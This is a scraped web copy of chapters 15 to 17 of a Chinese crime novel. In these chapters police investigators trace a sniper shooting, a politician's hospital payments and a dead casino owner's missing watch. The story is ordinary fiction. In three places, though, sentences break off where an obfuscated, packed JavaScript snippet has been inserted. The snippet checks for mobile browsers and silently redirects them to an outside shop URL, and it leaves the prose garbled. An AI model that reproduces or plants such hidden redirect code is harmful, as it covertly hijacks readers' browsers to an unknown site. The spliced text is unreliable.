林律奚没回答,缓缓垂下眼睛,刘律师以为他又开始装睡,他却忽然点了下头,今日中第一次开口:“缝了三针,有点疼,其他没有太大问题。” 程宥点头,“好好恢复。”他转头看向高尚桢,准备离开,病床上的人又出人意料主动提问,“你也去莞荟苑吗?”他迟疑了一下,“……程调查官?” 没等程宥回应,高尚桢已抢先出声,“当然,他是负责本案的调查官,一定会负起百分之百的责任。” 通往医院东门的长廊是一排落地窗,阳光透过来,洒满廊间,棕榈树投下了长长的影子,斑斑驳驳。 高尚桢大步流星走在前方,身后脚步声始终不远不近,他踏上一片透明叶影,就地一百八十度转身,直视后来者,“周五转院的时候,跟我去一趟莞荟苑,调查官……程宥。” 他好像在打商量,然而口气不容置喙。 程宥也停下脚步,静了三秒后,点头,“好。” “每周起码在那里守两天,五天最好,周末可以休息,警察也得遵守劳动法。”高组长诚恳的解释。 程宥从口袋里掏出软布,开始擦拭镜片,“必须这样做?” “百分之百的必须。” 程宥重新戴好眼镜,再度点头:“如果对破案有帮助,可以。” “必须有帮助。”高尚桢自信满满,“看样子林律奚很信任你,不奇怪,他被你救下来,由此产生了某种创伤性依附心理,这也挺常见。” “创伤依附?”程宥重复着这个字眼,“对任务有什么影响?” “肯定不是坏影响。”高组长巧舌如簧,“不过得先让林律奚对我们,主要是对你,产生绝对信任,才能说动他配合调查。” 他看向调查官,上上下下的打量他,“危机干预心理学,警校必修课,你应该学过吧。” 程宥没有立刻回答,他将眼镜布放回口袋,声音平静:“没有,不过你的建议很好,我从今天起开始学。” 15. 五百七十米 快傍晚的时候界至野回来了,他今天跑了一天,在两个监狱三个看守所连续探访,回来就开始咕嘟咕嘟灌可乐,“老大,有戏!” 高尚桢拉了把椅子让他坐下,等他喝完,示意继续。 界至野清了清嗓子,抽出一本皱巴巴的小本子,开始跟他汇报,“38,39年左右,黑夏川突然出现一伙特别厉害的人。”刑警伸手沾了下口水,翻过一页小本,“……他们不劫私人,主要干的都是打劫矿场,仓库,港口物流之类的大生意,有时甚至连小型军火库也不放过,行事很隐蔽,除了给他们销赃的固定几个下家之外,道儿上就影影绰绰知道有这么伙人。” “不过42年初这伙人突然就消失了,谁也不知道怎么回事。给他们销赃的下家没货源了,就得联系别的团伙呗,两下就这么搭上了线。到43年南部联区开始下大力气搞治安,这些团伙后来就散了,有几个跑我们这边继续搞走私的,前年被海关抓了,判了十几年,现在监狱蹲着哪。” 高尚桢仔细聆听他报告,重复一句,“确定吗?” ——嗝 界至野从嗓子眼冒出个嗝,卷起小本直搔头,“不知道啊,那个蹲监狱的也是道听途说,不过,”他开始掰指头点数,“我寻思吧,一是高手,二是42年消失,这不都对上了嘛。” 高尚桢唔了一声,手指一下一下敲击着桌面,“你这是二手消息。要想拿到确实证据,还是要找到帮他们销赃的下家,这伙人现在在哪?” 界至野摇头,“说他们死的死,跑的跑,我查了下,还有俩在监狱里,但是不在我们这,都在南部联区那边。老大,要不我去一趟吧,当面审一下,还有,银脊照片我们就在网上看过,那下面到底是怎么个情形也不知道,是,过去是八年了,不过我觉得还是值得跑趟现场。” “好!”高尚桢站起身,伸手在他肩膀重重一拍,“你跑一趟,我申请那边警方给你配合调查,有情况随时报告!” 虽然白天睡饱了,也确实还有一大堆事排队等着他,不过高尚桢还是实现了“今日大洗”的计划。除了被他塞车座底的外套,他还在各种犄角旮旯处翻出来俩衬衫,俩T恤,一条长裤,五只彼此不配对的袜子,他就死活想不起来为什么会袜子在车里。 除此之外,还有一堆各种各样巧克力残骸,包括但不限于:黑巧克力的外包装纸,装过巧克力豆的空塑料袋,从巧克力糖上撕下的纸衣,巧克力棒棒糖里面的杆…… ……幸好没内裤,他后知后觉的冒冷汗。 ——所以白天西装笔挺,一脸假模假样的调查官弯腰在车里刨啊刨,就从这么一堆袜子衬衫里挑出个外套…… 这个画面在高尚桢脑海里迅速放大,他咬咬牙,一把关上洗衣机的门。 ——工作忙,人手不够,资源不到位,上面不给力! ……所以老子才没空洗衣服! 各种颜色的内衣外衣袜子裤子在滚筒里,绞在一起滚了半个小时后,高尚桢终于平心静气。 他盘腿在洗衣机前坐下,打个哈欠,摸出手机登录国家警察系统,开始查找程宥资料。 ……很好,有三个程宥,嗯,这个不是,这个也不是……,最后这个没贴照片,呵,果然。 高尚桢饶有兴趣的读着这份过于简单的简历。 姓名:程宥 职位:西部联区总警署高级参事官 部门:联合调查处 入职年份:45年 学历:本科 主要职责:案件调查,证据收集,现场勘查,报告撰写 联系电话:XXX-XXX-XXX 高尚桢对着手机哧了一声。 ——这里面除了名字就没有一句真话。不对,名字也不见得是真的。 ——高级参事官是行政顾问,又不是警衔,一个警察连警衔都没有?警号呢? ——联合调查处是个什么地方?我好歹在联区总警署干过,压根没听过这个地方。 ——学历这么笼统,本科?哪儿毕业的,宇宙大学?哪年毕业的? ——最假的就是这里了,名下一个案子都没有,哼,总得挂个案子当门面吧。这个程宥,不对,也不知道叫不叫程宥,怎么看都不像菜鸟,不,何止,他一枪能干掉一只老鸟,顺便吓疯另外九十九个。 高尚桢放下手机,对着努力工作的洗衣机连连摇头,“这也太敷衍了。” 一夜过后,内里和外表都得到充分补给的高组长再度充电百分百,一大早飞驰到达警局,然后就看到两份报告摆在桌面上。 左边那是监控组送来的,洋洋洒洒的两页废话,总结起来就五个字,“啥也没查到。” 这倒不能怪他们,缔结大厦周围一直在施工,摄像头之类的监控系统还没有安装,查不到实属正常。 嗯,就是专门挑这个地方下手。 高尚桢默默下了结论,然后抓起了右边这份,相比之下,同样两页纸的验尸报告就翔实多了。 “……单发枪弹穿透头部,造成贯穿性损伤,当场死亡。” “回收弹头为常见步枪用金属弹头,规格与市面上常见的7.62mm级步枪弹相近,属普通军用/民用弹种。” “……弹道特征符合超远距离射击的典型表现,初步估计射击点在数百米至上千米范围内,具体距离须以现场弹道重建与测距结果为准。” ——缔结大厦距医院西门五百七十米。 ——职业狙击手。 他将报告递给程宥,“调查官对狙击好像很有经验,不知你怎么看?” 程宥花半分钟读完,和他得出差不多的结论,“职业狙击手,比较熟练。” ——比——较——熟——练—— 高尚桢细品这四个字,抓起桌上的捏捏乐开始了解压运动,“这么远,一般狙击手做不到,这个枪手不简单吧?” 程宥将几页文件对齐,重新放回组长的办公桌上,“距离只是一个因素,环境也同样关键。前天没有风,枪手和目标之间也没有遮挡物。”他笑了笑,“这种情况下,合格的职业狙击手可以命中目标。” “合格?”高组长反问,橙色解压球被他捏得咯咯作响,“可并没有打中真正目标啊。” 程宥思忖的看着他,没有回应。 高尚桢并没有继续,他起身将皱巴巴的小橙球丢回桌,“去会议室,盛苒她们查到了些新东西。” “还是没有查到索骁的有用线索。” 盛苒当头先泼一盆凉水,“42年之前,他的经历非常清晰,一路成绩优异,考入史亚德文理学院,直到42年,突然就消失了,目前查过学校,银行,包括交通住宿医疗等等,都没有任何线索,也没有处境记录,不过他的户籍又没有注销,所以并不能认定死亡。” 卫其宏奇怪,“一个大活人消失了八年,他家人就没找?” 安月见在旁回答他的疑问:“索骁是战争孤儿,从小在福利院长大。” “这样啊。”卫其宏挠挠头,他的老搭档界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652184|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至野去了南部联区查线索,无人逗哏,让他觉得有点寂寞。 “我们推测有三种可能,”盛苒总结,“一,索骁已经死亡,尸体尚未发现;二,他目前在境外生活,然而出境记录被刻意抹去;三,他换了个身份,隐姓埋名的生活。” 高尚桢读懂了她的言下之意。 战后五大联区实行自治,不同于界至野去黑夏川的监狱踩个点,银脊照个相这种相对容易的跨区工作,就他们一个区区市级警局,想要让其他联区配合对索骁个人进行深入调查,得先按着他们署长的头让他点头,然后还得在各个办公室之间乱转一通,办一大堆不知干什么用的糟心文件。 ——嗯,等这个流程走完,我可能都退休了。 他咳嗽一声,“不要放弃,尽力查,同时重点放在林律奚那边。”他又补了一句,“方楚那边还是要得继续追。从录音里听,他还是隐瞒了很多事,匪徒袭击,他对同去的朋友却不闻不问,这不符合人之常情。” 盛苒笑了,“我知道组长不会放过这个点。其实关于方议员,我们的确查到了两条不同寻常的线索。” “从42下半年起,方楚每半年都要去一次苍都。每次两天,八年间来从没有断过,哪怕是前年他竞选议员最紧张的时候也是雷打不动,而且在苍都期间没有参与任何政治活动。” 高尚桢提起了兴趣,“从42年开始?消息可靠吗?” “可靠。是一个小报记者挖出来的。”盛苒点击鼠标,将两篇简短的新闻报道投放在白幕上,两条新闻字数不多,字里行间却充满了各种暗示,“这个小报为方楚的竞争对手服务,意在暗示选民,他能当选议员都是走了首都那边的关系。” 卫其宏也抓到了重点,“从42年开始?”见盛苒意味深长的点头,哎呀叫出声来,“42年下半年他刚转学到门罗吧,大学还没毕业,身体可能都没完全恢复,就去苍都跑关系?这也太拼了吧?” 盛苒点头,“方楚的竞选办公室对这两篇新闻并没有做出回应,而且我查过了,方楚所在选区就是他的家乡,他背后又站着家族企业的正葭集团,拿下这场市级选举完全意料之中,不至于这个阶段就千里迢迢去苍都。” “我们还没有发现方楚在苍都的具体活动,不过有一件事值得注意。”随着盛苒轻轻一点,下一张幻灯滑了出来,这是一份税务记录,清楚显示从42年3月至今,正葭的企业账户每年都向苍都第三病院划付多笔款项,其中不少都被画出了圆圈。 盛苒移动着光标,示意大家注意看,“正葭每年转账日期固定不变,费用也基本相同;而其他的转账项目,则有部分和方楚去苍都的时间段重和。” “啊?”卫其宏疑惑不解,“这么说方楚每年都要去苍都看病?还是说那里有什么亲人?” “他不会那里看病的。”高尚桢否认,他双手交扣,审视着税务记录,“他是正葭集团的继承人。如果真是自己治病,用私人账户就够了,不会把家族企业牵涉进来。这中间肯定有问题。” “至于探望亲人……”高尚桢皱皱眉,“42年3月开始的,刚好在银脊案后两个月,这个时间点又太巧了。”他的目光转向盛苒,“第三病院是什么医院?这些账单用来支付什么能查到吗?” “具体支付情况会比较费时间,不过应该能行。税务报账一定要有财务凭证。上面写什么项目,开给谁,查起来就是程序问题。至于第三病院,” 说到这里,盛苒声音忽然低了下去,“那是一家精神病院。” 16. 第三病院 界至野在黑夏川调查劫匪的背景,盛苒在红驼借助自己的人脉,试图获知正葭集团的税务信息之时,林律奚悄悄自纪念医院转到了郊外的莞荟苑。 这次转院十分顺利,让高组长布下的重重警力成了摆设,在不知失望还是欣慰的心绪里,他开着车尾随加长轿车进入了莞荟苑。 这座庄园似的建筑外设围墙,远远看去就是个普通二三层楼的样子,然而当大门缓缓开启,雪佛兰沿着下沉式车道驶入其中,连自诩见过不少市面的卫其宏都不仅哎呀了一声。 车道两旁满目葱葱,优美灌木绵延一路,灌木后则是萋萋芳草地,实在让人想不到这里是沙漠边境红驼城。 维持这样的景观需要的水量与能源,不问而知。 然而这仅仅只是开个头,等车子停到主楼下,他们才惊讶的发现这竟是一座欧式的五层建筑,最高层离地面超过二十米,不过因为是整体建筑连带周围草坪与道路都是下沉式,所以从远处看毫不起眼。 大堂中庭挑高足将近三十米,正中的喷泉闪着七彩晶光,与垂下的吊灯相互辉映,一地碎光流影。 自从卫其宏来红驼,已经很久没有见过喷泉这个玩意儿,进了电梯还不忘回头看,不过参观过各个楼层后,喷泉就被他扔脑后去了。 二楼的VIP套房,铺的是纯手工地毯,墙上挂的是名家真迹;三楼则专供康复与理疗,水疗舱,高级复建仪等一应俱全,六位私人护士兼教练全天待命;顶楼更加令人瞠目结舌,空中花园环绕着恒温泳池,抬头便是直升机停机坪,此间客人随时都能往返世界任何一处。 林律奚的房间在四楼西翼406,卫其宏本来准备好了要继续大开眼界,然而不想这里的房间虽然大,却出乎意料的低调,并无华丽装饰。 唯独引入注目的就是盖住两面墙的书架,上面密密麻麻摆满各种书籍,据引导他们参观的秘书说,这是按照林先生的喜好特别布置的。 杜蒙方面为警方安排的是二楼尽头处一间套房,靠近楼梯,进出十分方便,有卧室和独立办公室。虽然没有张扬的豪奢,却干净实用。办公室里电脑复印机等一应俱全,宽大的落地窗占据半面墙,楼外情况尽收眼中,据说是为疗养院的高管们临时居住而预留的,如今正好方便警方征用。 高尚桢扫了一圈,目光落上了调查官那仿佛永远整洁永远换不完的西装。 他开始有点好奇警察住在这里,不知能否享受衣服干洗服务,于是向程宥提出很实在的建议,“这里不错,要不把酒店退了怎么样直接住下?” 程宥认真思考了三秒钟,果断摇头:“去警局单程要多花二十五分钟,”他又顿了一秒,“晚上住在这里也属于工作时间。高组长说过要遵守劳动法。” ……全世界最恨劳动法的就是高组长我了。 高尚桢无语的盯着他看上好一会,回头问卫其宏:“你怎么样?” 卫其宏本来很想高喊我可以我没问题,话到嘴边很聪明的拐了弯,“调查官说得对,我们要节省每一分钟在工作上。” 高尚桢也盯着他瞅了好几眼,心情居然意外的不错。他摸出手机,准备从熟悉的分局摇几个警察过来。 四楼406。 林律奚穿了套宽松的病号服,对窗斜坐。 他膝盖上放了本法律大部头,手指在封面上轻轻敲击着,脸上笑意似有若无。 =========================== “这种事本来应该交给专业保护队伍,不过现在情况有点复杂,杜蒙那边不知怎么回事,指名要我们刑事组保护,案情又处在关键期,所以就先这么办吧。" 参观完毕,高尚桢难得耐心的解释,然后给大家排了班,每天八点例会照开,然后卫其宏每周在莞荟苑保护兼工作两天(等界至野回来就变成一天),他自己一天,程宥则来承担剩下两天的工作。 他看着后者平静的脸孔,不知为什么总觉得有点不放心,特意把他拽到一旁专门交代:“林律奚手里肯定握着掌握案情的钥匙,调……程宥你得多下功夫,不管你是软磨硬泡……好吧,这个你肯定不行,就是不要这么一本正经,要亲切,要温暖,要……要让人如浴春风你懂不?”他的手在空中忽闪忽闪的开始上下扇,“春风!春风!” 程宥看看他,又看看他在空中乱拍的爪子,没有吭声。 ……这家伙,完,全,没,听,懂。 高尚桢忍住拍脑门的冲动,耐着性子叮嘱,“总之看你了,你得把心理学知识都用上知道么?这样我们早点破案,你也能……”他顿了顿,“早日回到原工作岗位。” “ 危机干预心理学。”程宥了然的点点头,“我昨天学过了。” “……对。”高尚桢艰难点头,“这个任务很难,不过我对你有信心,程宥,加油!上!Fighting!” 他捏起拳头用力挥。 程宥看看他,又看看不远处目瞪口呆的卫其宏,眨了眨眼睛。 ——此项任务难度太大,已确定无法完成。 ——鉴于高组长精神状态不太稳定,暂时保留真实想法。 他想。 高组长画过大饼的第二日,盛苒那边就有了新进展。 八点,红驼会议室。 “第三病院收到的集团转账,都是一个住院病人的治疗费,她的名字叫齐晴。”盛苒介绍着情况,然后投下一枚炸弹,“她是新林德女子学院的学生,方楚的前女友。” 卫其宏一听“女友”这个词顿时来了兴趣,“啥?方议员还有这段情史呢。” 高尚桢则短短沉吟了一下,“她42年入院?” “是的,”盛苒点头,“42年5月份,似乎是从别的医院转过来的,具体情况属于病人隐私,我们只有拿到法庭令才能查。”她推了推眼镜,投下了第二枚炸弹,“女子学院在史亚德学院的隔壁,齐晴比方楚低一界,大三上学期一切正常,寒假过后就退学了,所以我们怀疑她是不是也去了银脊遇到了劫案。” 卫其宏很惊讶,“那为什么方楚不说?” 安月见一直缄默,此时低着头小声回答,“可能遇到了些不好的事情,方楚不说也能理解。” 卫其宏更奇怪了,“可飞行记录我们都看了,除了副驾驶就四个人,三个学生:方楚,林律奚,索骁,方楚既是机主也是机长;那副机长我们也查过,就在正葭集团工作,简历清清楚楚。这飞行记录也不能作假啊。”他看着安月见,“这个齐晴42年进医院是不是纯碰巧?要不就是看到男朋友受伤害怕了?” 安月见迟疑着,明显不太同意他的看法,但是一时又找不到合理解释,捏着笔不说话。 高尚桢看一眼安静坐在门口的调查官,开口:“程宥你怎么看?”这还是他第一次在例会中询问程宥的意见,会议室一时安静下来,几双眼睛不约而同落在程宥身上。 程宥仍旧保持着一丝不苟的坐姿,不出意料的开口回答:“这种小型私人飞机,尤其境内的,机场主要检查的是航载重量,航线和油量,此外就是机组人员和机主的信息必须详细,其他信息对机场来说并不重要。” “啊?”这种事对卫其宏来说闻所未闻,他大吃一惊,“这么松?那就是说飞行记录可能不准?机上可能不止他们几个人?” 他反应过来,“那可怎么查啊?” “还有一份手写日志。”程宥拧开矿泉水瓶盖,继续答疑:“机舱还有出发前的实时备份,上面不会有乘客具体信息,但是可以检查飞机人数。” 卫其宏懵了,“这不一样吗?有什么差别?” “备份是副机长填写的。”程宥喝了口水,耐心的解释,“42年方楚提交的是电子飞行记录,他可以随意写;不过副机长是职业飞行员,大概率他会如实记录真实情况。” 卫其宏抿了抿嘴巴,再次遗憾老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652185|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搭档不在场,他没有交流对象,无法好好吐槽“怎么调查官跟个AI一样什么都懂”。 “好!谢谢,我会就这个方向再查下去。”盛苒笑了笑,然后拿出工作手机,“不知大家看过没有,这是今早界至野从银脊发过来的录像。”她点击下了播放键,一段录像投上白幕。 录像里,一身厚羽绒服,鼻尖冻得通红的界至野冲着手机摄像头拼命招手,雪花随着他的动作而来回飞舞,“哎呀,大家好吗?我到银脊啦,这地方也太冷啦。” 会议室的刑警们,包括程宥在内,都笑了起来。明知道老搭档看不见,卫其宏还是冲他挥手,“我很好!” 录像里界至野看看手机时间,嘀咕着:“我这里七点半,红驼才五点半,难怪困。”说着手机画面一阵晃动,后方摄像头已被启动,白茫茫的雪山赫然现出。 大概开始手机还没对好焦,远处的山体模糊成一片灰白。几秒后焦距调好了,雪脊清晰了些。 晃动的镜头下,废弃滑雪道隐约可见,风声呼啸而过,还夹杂着缆车铁索的吱呀吱呀声。 连绵群峰,皑皑白雪,除了界至野之外,再无他人。 手机镜头一转,又露出界至野的大脸。 他揩了把鼻子,呼哧呼哧的说,“我一会去赌场看看情况,这地方特冷,电池掉得老快了,我得省着点用。对了,谢谢老大给上面通了气,这边警方还挺配合的,安排我明天去监狱见一个犯人,好像叫老鬼头什么的,就是当年给那个厉害团伙销赃的下游,还有,”说到这里他又在手机上点了一下,“给你们发了个照片,是我在当地墓地现拍的。” “副组长不是查赌场老板,然后网上啥消息也没有吗。其实本地警察还真知道些情况,说这家老板姓周,祖祖辈辈都在这,家族墓地也在,就是下一代迁走了。我昨晚了趟墓地,拍了照片,你们看看。” “好,就这样,我下去银脊了,白~白!” 看着冻红的脸消失在屏幕上,盛苒无声的说了谢谢,然后打开附件,一张墓碑的照片跳了出来。 照片里灰白色的墓碑立在草丛间,碑面已经被风雨打磨得有些粗糙,黑色的刻字依然清晰: 周乐天之墓 生于零八年一月 卒于四二年一月” 下方字迹略浅,刻着筑碑人的名字。 妻:张云云子:周阙 周楼 女:周婷婷 “银脊赌场关闭久了,加上南部战后混乱,我们只查到经营者名叫周天,其他什么资料也没有,我们一直找不到这个人,现在看来不是用的假名就是后来改了名。” 盛苒关掉了投影仪,“多亏界至野的这张照片,我们有了头绪。小安一早联系了信息部,已经查到周乐天去世之后,他的全家人都出了国,目前在境外定居。小安刚给他们的大儿子周阙去了信,希望问一下具体情况。不过我们两边有11个小时的时差,最早也得今晚才能有消息。” “好。”高尚桢肯定的点点头,“希望他家人能给我们些有用的线索。小安,你盯紧点,有需要的随时来找我。” “是,组长!”安月见清脆应声。 高尚桢看看表,又看向卫其宏,“你去林律奚那吧,发挥你能说会道的本事,要真能把他嘴撬开,我给你记大功。” 卫其宏喉咙动了动,实在很想说点啥,半天忍住了,委委屈屈的回应,“是,组长。” 高尚桢没空理会他的小情绪,他的目光重新落回了那张墓碑照片上。 周乐天之墓。 卒于四二年一月。 一瞬间他想起了那个同样死于四二年的学生;想起了那个从四二年开始,人生轨迹就彻底改变的学生团体;想起了方楚的话,“很多劫匪……手持冲锋枪……记得有人尖叫,好像还有人喊之类的” 又一次的,那些知道的和不知道的死者,在八年之后,将他们此生最后的分量,递到了他的手上。 17. 丢失的表 高组长算盘打得挺好。 他盼望当晚周家人一觉醒来,就马上联系安月见,说不定能爆个猛料,就此拿到关键线索一。 他希望盛苒那边顺利查到飞行副本,虽然程宥说不会有乘客详细记录,可万一副机长当时闲得没事啥都往上写哪,就此拿到关键线索二。 他指望界至野能在银脊地下赌场发现点被遗留的东西,这条不行的话,说不定蹲监狱的销赃犯能知道银脊案内情,一股脑全倒出来,就此拿到关键线索三。 至于林律奚被卫其宏的三寸不烂之舌成功感化,以至于将事实真相和盘托出犯人手到擒来……高组长梦做得再美,对此也不做指望。 别说,要程宥能化身知心姐姐谆谆开解还真有可能,他在床上翻个身,幽幽的想。 ……算了,这比指望卫其宏还不现实呢。 然而事实证明,除了盛苒那边略有进展,赛因机场那边让她等等,“也许”他们能找到飞行副本之外,其他都很不顺利。 给周家人的信息如石沉大海,毫无回音。 线索一断掉。 界至野倒是成功进入地下赌场。此地废弃八年,主电源早被切断,备用电源也已报废,他摸着黑拍了一堆照片,除了证明:一,这的确一间赌场,二,当年此地的确发生过枪案之外,其余一无所获,不仅如此,他还被翻到的桌子绊倒,扭伤了脚,好不容易回到地面,不得不在医院呆了俩小时将脚踝包得严严实实,询问销赃犯的也被迫推后。 线索三断掉。 至于卫其宏,在莞荟苑呆了两天也有点成果,嗯,他说自己和付助理聊得挺好,至于正主……据说在书房里看了一天书,压根没见着。 ……本来也没指望他敲得动林律奚。 今天轮到程宥,说不定……没有说不定,这位是谁敲也不动。 高尚桢抹了把脸,对着界至野发来的资料出了会神,然后叫过安月见,指着其中两张照片对她说:“你是给周家那个大儿子发的信?” 安月见点头,“对,叫周阙。目前人在一家IT公司工作。已经仔细核查过,父母籍贯都对得上,肯定是他没错。” 高尚桢点头,“好,把这两张照片给他发过去,只要是个人,就必然会回消息。” 果然,在两张照片发出后,周阙当天就回了信,安月见怕他改变主意,敲定就在当天他下班后进行通话,于是,凌晨四点多,安月见就从家里来到了警局,然后她惊讶的发现组长根本就没走。 “你来打电话,我在旁边听就行。”高尚桢拉张凳子附近坐下,为这个新人打气,“除非有特殊情况,我尽量不说话。” 二十分钟以后,凌晨五点,安月见拨通了越洋电话。 周阙是个声音低沉的年轻人,他似乎在开车,背景音嘈杂,在简短确认过彼此身份后,他开门见山,“你们去了我父亲墓地?” 安月见看着那张发过去的墓碑照片,“是的,我的同事把墓地周围的杂草拔了。” 那边沉默了一会,背景音里隐约传来消防车的声音,“谢谢,快三年没回去了。警方找我什么事?” “想问一下当年银脊的事情。” “我不知道,”周阙听起来很压抑,“我当时在外地上大学,什么也不知道……这个车怎么回事,到底走不走!”背景音里响起了一串烦躁的喇叭声。 直到喇叭音消散,安月见才开口:“周先生,您看到另外一张照片了吗?” 那是界至野在黑暗中拍下的。 手机闪光照出赌桌上散乱翻开的扑克牌和筹码,和落在上面厚厚的灰尘。 桌旁有几张倒下的金属椅子;稍远的墙面上,一片片的弹孔隐约可见,八年过去了,墙壁上深红的血迹早已干涸变色,一路延伸到地板。 电话那端很久都没有声音,安月见正准备开口,高尚桢伸手阻止了她。 又过了两分钟,周阙声音重新响起,“……等我找个地方停车。” 这通电话持续了很长时间,虽然有用信息并不多。 按周阙所说,他和弟弟妹妹都很早就出去读书,母亲也就近照顾他们,父亲周乐天一个人在黑夏川。他知道家里经营一个小滑雪场,但是并没去过,当知道父亲突然死亡的消息时,他第一反应是不可置信,然后就是悲痛。 “……我那时候才知道家里在经营赌场,而且从祖父那代就开始了。”周阙叹着气,“我想下去看看,但是被阻止了。” “是警察封锁现场?” “不知道。他们没穿制服,总之给我看了证件,说这里是犯罪现场,不让进去,一直封锁到我出国也没机会。后来倒是回国两次,每次都是陪妈妈扫墓,她不让我们去银脊。” 关于银脊赌场的归属问题,周阙说他妈妈卖给了一家公司,但是具体情况并不清楚——这当然不是事实,银脊的所有权一直挂在周乐天名下,不过考虑到周阙当年不到二十岁,又在外地读书,他说的应该是实话;至于可能了解内情的母亲张云云,已于年初病逝。 安月见本来对这通电话报有很大希望,没想到周阙并不能提供有用的消息,不由失望,正准备结束电话,忽然见组长在本子上写下几个字,然后将本子推过来。 ——问他为什么出国。 “……为什么出国?其实是我妈妈决定的,爸爸出事之后,她很快就带我们出国了,我大学都没读完,又在这边重修了一遍。”说到这里周阙明显迟疑了一下,犹豫了好一会才重新开口,“其实我也觉得太快了。我妈妈在结婚之后主要照顾家里,不管外面的事情。可出事之后,她很快就把家里资产处理完,在这边也很快就购置资产,连我们入学都非常迅速。” “后来有一次跟她聊过这件事,说她能干。她说自己什么都不懂,这都是国家在帮忙,再问她就不说了,直到去世也没再提起。” ……国家? 不知为何,这一瞬高尚桢突然想到了程宥。 大概是很久没与人谈起过父母,周阙有些滔滔不绝,谈起小时候,谈起家乡。虽然对案件并无帮助,安月见还是安静的听他倾诉,高尚桢也始终坐在原位没有离开。 在电话结束之前,安月见感谢周阙对警方的帮助,礼貌的问他有什么警方能帮忙。 “如果可能,我希望警方能让我知道银脊的真相。”周阙的声音有些哽咽。 “好的。”安月见轻柔的回答,这一刻,隔着电话线,新人刑警感受到了遥远那一端的情绪,于是她多问了一句,“还有什么……是我们能做到的?” 电话那头沉默了很久,似乎是被她的真诚打动了。 “还有就是……”周阙有些踌躇,“能不能帮我找样东西?” “是块表。” “母亲去世之前总念叨,表,表。她当时到了脑瘤晚期,我们都当她说胡话。直到去世之后清理遗物,发现个空表盒,里面有父亲的照片。照片上父亲戴了块表,我就想起来了,好像他以前是有这么块表,不过下葬时候他手腕是空的。我们找遍了家里,可是除了这个空盒子,什么都没有。” “刚刚和您聊起过去,聊起我父亲,我突然……突然就……” “也许这块表和我父亲的去世有关。就算无关,我也想拿回来跟他们合葬,希望警方能帮这个忙,真的非常感谢你们。” 周阙很快就发来一张照片。 这是有张泛黄的照片,一位中年男人坐在办公桌后,正在微笑。他双手随意搁在桌上,袖口卷起,露出左腕上的一只表。 这是一块极低调的腕表,深色皮质表带,表盘素净,表盘刻度在光影下折射出微蓝的光泽,看起来平平无奇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652186|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而放大数倍之后,可见秒针尾端镶着极细小的金点,在六点刻度下方,还刻有一行极浅的花体小字:妻云云. 赠乐天 高尚桢的目光投向组员们,不怎么带希望的问:“有人认得吗?” 大家一起摇头,又不约而同将目光投向坐在门口的程宥。他今日换了套浅蓝西装,笔挺西装配着俊秀五官,十分神气,然而在警官们期冀的眼神中,这位神气的调查官缓缓摇头。 卫其宏不太有信心,“我可以把图抠出来给信息室看看,不过这个表又没编号,又没证书,查起来难度很大。”他抬起头,“组长,这个表真的很重要吗?” 高尚桢点点头,“我认为很重要。”他看看安月见,“说说你的看法。” 安月见之前已经思考了很久,回答得很有信心,“我也认为很重要。” “这块表显然对周乐天的太太很重要,重要到她去世之前在还惦记,但是从电话里听得出来,她之前从来没在周阙面前提起过,否则他不会觉得她在说胡话,可见这个表对她来说又重要又忌讳,清醒的时候她根本不敢提;再结合周阙说,周乐天下葬时侯没有戴表,合理推测,这块表要么在银脊案前就丢失了,要么是在案发时丢失。” “如果在之前就丢失了,他太太没有必要忌讳嘛,正大光明找就好了呀。我们再看看银脊一案,嫌犯之一的白行人档案被列为绝密,还有周家能这么快就处理家产,又提到“国家帮忙”,这中间涉及的事情肯定很多啊,所以我觉得这个手表必然是案发时候丢失的,所以周家妈妈才忌讳嘛。” “如果说手表在案发丢失时,那就分为三种情况,第一,手表可能就是没了,找不到了,不过这可是手表,系在手腕上带扣的,不太可能就那么没了对吧。” “第二,还有一种就是警方……是当那些人是警方吧,就是处理案件的那一方给拿走了,他们应该不会拿私人物品,再说事后对周家那么照顾,更不可能拿人家一块表呀对不对?就算当证物也能还回来吧,起码周家妈妈肯定知道下落啊,明显她什么都不知道,所以也不是警方拿走的。” “所以我觉得,第三种可能性最大。” “拿走表的是匪徒!” “也只有他们,去抢劫银脊客人财物包括老板的表,这才说得通!” 她越说思维越活跃,“如果我们真能找到这块表,也就能找到匪徒,当年的案子就破了,我们现在的案子也差不多能破了!” 高尚桢失笑,真有这么容易就好了,然而新人热情很值得鼓励,他向女孩子笑笑,“好。”他鼓励道,然后跟卫其宏下了命令:“你把照片发给总署那边的失物专案组。让他们查查,过去八年中有没有这样一块表在黑市里流通过,各个渠道都要查,尤其是暗网上,尽快给我们答复。” 